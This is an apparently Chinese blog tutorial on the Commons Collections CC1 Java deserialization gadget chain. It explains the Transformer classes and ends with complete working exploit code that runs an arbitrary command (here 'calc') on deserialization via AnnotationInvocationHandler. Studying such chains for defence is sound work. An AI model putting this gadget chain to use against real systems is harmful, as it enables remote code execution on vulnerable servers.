java反序列之CC1

Java反序列化之CC1

漏洞思路

序列化是将对象的状态信息转换为可以存储或传输的形式的过程,通俗的说,就是将对象转换成另一种形式,以方便跨平台存储和网络传输。反序列化则是将上述过程反过来进行的操作。在Java中任何一个对象必须要实现Serializable接口才可以执行序列化和反序列化操作。
反序列化漏洞成因:Java对象在数据的传输过程中,是以序列化的的数据进行传输,当传输至服务端时进行反序列化操作时,会调用被反序列化对象的readObject()方法。若该类重写了readObject()方法,存在一些危险操作,便会开始执行。

运用反射获取类

反射机制允许程序在运行期借助于Reflection API取得任何类的内部信息,并能直接操作任意类和对象的所有属性及方法。要使用一个类,就要先把它加载到虚拟机中,在加载完类之后,堆内存的方法区中就产生了一个Class类型的对象(一个类只有一个class对象),这个对象就包含了完整的类的结构信息,我们可以通过这个对象看到类的结构,这个对象就像一面镜子,透过镜子可以看到类的结构,所以形象的称之为:反射

代码分析

Transformer接口

Transformer是一个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出):该接口的重要实现类有:ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 。
在这里插入图片描述
transform作用可以粗略的理解为是将一个对象转化成另一个对象
在这里插入图片描述

TransformedMap

先从TransformedMap入手
在这里插入图片描述
此处有一个checkSetValue作用是取出Object中的value,并转化成另一个对象,此处value值可控,跟上去看看
在这里插入图片描述
这里设置了value且是一个MapEntry的,可以理解为键值对,寻找是否有直接调用readObject()的
在这里插入图片描述
找到一处直接调用的
在这里插入图片描述
在这里插入图片描述
再回头继续想办法将Runtime搞出来

InvokerTransformer

回头看InvokerTransformer中的transform,此处写法可以借鉴,因为想后门,有时间学一下,它的transform方法
就是该类接收一个对象,获取该对象的名称(通过ConstantTransformer),然后调用invoke方法传入三个参数。参数可控。
InvokerTransformer作用也是将一个对象转换成另一个对象
在这里插入图片描述

ChainedTransformer

当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。在调用transform将数据转换成Object对象
在这里插入图片描述

ConstantTransformer

接受一个对象返回一个常量,无论接收什么对象都返回 iConstant
在这里插入图片描述

构造CC1

开始构造链子
使用ConstantTransformer拿到runtime的class,使用InvokerTransformer参数值传入,放入Transformer数组中,在放入ChainedTransformer中循环读取。创建一个map将值放入,使用TransformedMap的decorate方法,将map与ChainedTransformer放入,反射得到AnnotationInvocationHandler然后再创建构造器传参。
最后在将对象序列化,在调用反序列化试一下看看是否成功。完整代码如下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void main(String[] args) throws Exception {
//通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","test");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);




        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参,注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("1.txt");

    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值